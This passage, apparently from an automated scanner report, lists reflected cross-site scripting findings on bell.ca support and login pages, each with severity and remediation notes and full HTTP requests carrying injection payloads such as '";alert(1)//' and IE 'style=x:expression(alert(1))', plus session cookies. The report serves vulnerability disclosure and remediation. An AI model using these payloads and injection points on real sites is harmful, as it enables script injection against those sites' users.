This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /support/PrsCSrv_Search.page?question_box=installation2f0ad"%20a%3db%20622b36c3aff&support=true&faq=false&lob=television&language=en&province=ON&ui_mode=question&charset=UTF-8 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:57:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=gfL2MtDZgb7DTlTTFy1BbvSJ4Zx3fJjy8n4kpvtnGvXx33b9Jc8N!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 34935


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<a class= "nextPage" href="/support/PrsCSrv_Search.page?question_box=installation2f0ad" a=b 622b36c3aff&faq=false&support=true&ui_mode=question&lob=television&isSearchRefined=false&language=en&province=ON&direction=FORWARD&page_number=0&transId=2" >
...[SNIP]...

2.339. http://www.bell.ca/support/PrsCSrv_Search.page [question_box parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the question_box request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3eed3"%3balert(1)//1277be4cf0 was submitted in the question_box parameter. This input was echoed as 3eed3";alert(1)//1277be4cf0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/PrsCSrv_Search.page?question_box=3eed3"%3balert(1)//1277be4cf0 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:53:20 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=vZWbMtChR8h529Tn1ctQvqhKK92Z0YvpdC2JwWZDtW4230qPDfBj!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 22601


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: false -->
...[SNIP]...
pe="text/JavaScript">


var lpCustomername = "";


var lpErrorflag            = 0            ;
var lpUserid            = ""            ;
var lpAccountid            = ""            ;
var lpOnebillflag        = "0"        ;
var    lpGlobalSearchvalue    = "3eed3";alert(1)//1277be4cf0"    ;
var lpCarttotal            = 0.0    ;
var lpOrdertotal        = 0.0    ;
var lpPromoPageID        = ""        ;

   // Pass variable value through lpAddVars()
if (typeof(lpAddVars) != "undefined") {

   lpAddVars('page','Custo
...[SNIP]...

2.340. http://www.bell.ca/support/PrsCSrv_Search.page [support parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the support request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13591"%20style%3dx%3aexpression(alert(1))%20b3a5daabacb was submitted in the support parameter. This input was echoed as 13591" style=x:expression(alert(1)) b3a5daabacb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/PrsCSrv_Search.page?question_box=installation&support=true13591"%20style%3dx%3aexpression(alert(1))%20b3a5daabacb&faq=false&lob=television&language=en&province=ON&ui_mode=question&charset=UTF-8 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:59:33 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=YqS6MtGP3mXpLdd0llC57vTRPpq2sHpGk2wsQ6TKdQ6ySDd8GrdS!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 30260


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<input value="true13591" style=x:expression(alert(1)) b3a5daabacb" name="support" type="hidden">
...[SNIP]...

2.341. http://www.bell.ca/support/PrsCSrv_Search.page [ui_mode parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the ui_mode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 165af"%20style%3dx%3aexpression(alert(1))%20945538a974 was submitted in the ui_mode parameter. This input was echoed as 165af" style=x:expression(alert(1)) 945538a974 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/PrsCSrv_Search.page?question_box=installation&support=true&faq=false&lob=television&language=en&province=ON&ui_mode=question165af"%20style%3dx%3aexpression(alert(1))%20945538a974&charset=UTF-8 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:05:47 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=2ymWMtFLdkXhPCJ13RnXvvNTnvXwx8fCGzpGyzsfDBRBnxc0PYW7!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 32660


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<a href="/support/PrsCSrv_Search.page?question_box=installation&support=true&ui_mode=question165af" style=x:expression(alert(1)) 945538a974&lob=television&facetId=Market+Segment.Residential.TV.SPRT_SUPPORT_TV&clear=false&language=en&province=ON&resultLabel=Support&faq=false&transId=2&sprtarticletype=null&supportLob=All Support">
...[SNIP]...

2.342. http://www.bell.ca/support/common.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/common.portal

Issue detail

The value of the _pageLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bab1"%20style%3dx%3aexpression(alert(1))%2095a3c9b16c5 was submitted in the _pageLabel parameter. This input was echoed as 8bab1" style=x:expression(alert(1)) 95a3c9b16c5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/common.portal?_nfpb=true&_windowLabel=portletInstance_6&portletInstance_6_actionOverride=%2Fportlets%2Fecare%2Feforms%2Fcontactus%2FContactUSController%2FprocessTopics&_pageLabel=PrsCSrvGnl_GeneralContactUs8bab1"%20style%3dx%3aexpression(alert(1))%2095a3c9b16c5 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:59:38 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=Kds2MtGWfS7hCMq0yPwv5qMqmrZBtyQCghSn5vV1ZzVN6y02WKMh!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 62749


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<a href="http://www.bell.ca/support/PrsCSrvGnl_GeneralContactUs8bab1" style=x:expression(alert(1)) 95a3c9b16c5.page?language=fr&amp;region=NS&amp;languageToggle=true&amp;_windowLabel=portletInstance_6" title="Consulter cette page en&nbsp;">
...[SNIP]...

2.343. http://www.bell.ca/support/common.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.bell.ca
Path:   /support/common.portal

Issue detail

The value of the _pageLabel request parameter is copied into an HTML comment. The payload 76825-->6c53248882 was submitted in the _pageLabel parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /support/common.portal?_nfpb=true&_windowLabel=portletInstance_6&portletInstance_6_actionOverride=%2Fportlets%2Fecare%2Feforms%2Fcontactus%2FContactUSController%2FprocessTopics&_pageLabel=PrsCSrvGnl_GeneralContactUs76825-->6c53248882 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:00:03 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=L1DDMtGNpmKppMk88vmGcjyN1Dw1HNL7wVDlNxHLx8htmBhXvBZr!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 62084


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<!-- LP trace code
Page Label: PrsCSrvGnl_GeneralContactUs76825-->6c53248882
JSP URL: /support/portlets/personal/faq/general/legalnadterms.jsp
end LP trace code -->
...[SNIP]...

2.344. http://www.bell.ca/support/common.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/common.portal

Issue detail

The value of the _pageLabel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload efae8"%3balert(1)//92bd41c941b was submitted in the _pageLabel parameter. This input was echoed as efae8";alert(1)//92bd41c941b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/common.portal?_nfpb=true&_windowLabel=portletInstance_6&portletInstance_6_actionOverride=%2Fportlets%2Fecare%2Feforms%2Fcontactus%2FContactUSController%2FprocessTopics&_pageLabel=PrsCSrvGnl_GeneralContactUsefae8"%3balert(1)//92bd41c941b HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:59:56 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=JvGTMtGFz1YwypK82X0BRHbvGvFpcwzwGv2MBjNMGBnSJvhJ6hzm!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 62274


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<![CDATA[ */
   s_oPGN="GeneralContactUsefae8";alert(1)//92bd41c941b";
   s_oPTE="true";
   s_oLNG="en";
   s_oPRV="ns";
   s_oSIN="QC_DC3CAR_4";
   s_oSS1="";
   s_oSS2="GeneralContactUsefae8";alert(1)//92bd41c941b";
   s_oSS3="";
   s_oLGS="false";
   s_oCGN="site publisher";
...[SNIP]...

2.345. http://www.bell.ca/support/resources/liveperson/contact_us_button.jsp [LOB parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/resources/liveperson/contact_us_button.jsp

Issue detail

The value of the LOB request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f98ff"%3balert(1)//4ef3341cc8c was submitted in the LOB parameter. This input was echoed as f98ff";alert(1)//4ef3341cc8c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/resources/liveperson/contact_us_button.jsp?LOB=wirelinef98ff"%3balert(1)//4ef3341cc8c HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:58:59 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 1945
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=vFlxMtGTLGzNbQyXTY3jjvqnsw2GNRL22m3gjnJpy2pZ2g3YPFp9!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang
...[SNIP]...
<script type="text/javascript">
var lpUASprovince = "NS";
var lpUASlanguage = "english";
var lpUASunit = "wirelinef98ff";alert(1)//4ef3341cc8c-service";
var lpUASbuttonType = "contact";
</script>
...[SNIP]...

2.346. https://www.bell.ca/home/Home_L_Login.page [customLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /home/Home_L_Login.page

Issue detail

The value of the customLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fb8b"%20style%3dx%3aexpression(alert(1))%202139ab5285b was submitted in the customLabel parameter. This input was echoed as 9fb8b" style=x:expression(alert(1)) 2139ab5285b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /home/Home_L_Login.page?language=en&languageToggle=true&customLabel=mobile.changerateplan9fb8b"%20style%3dx%3aexpression(alert(1))%202139ab5285b&refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess%3DchangeRatePlan HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
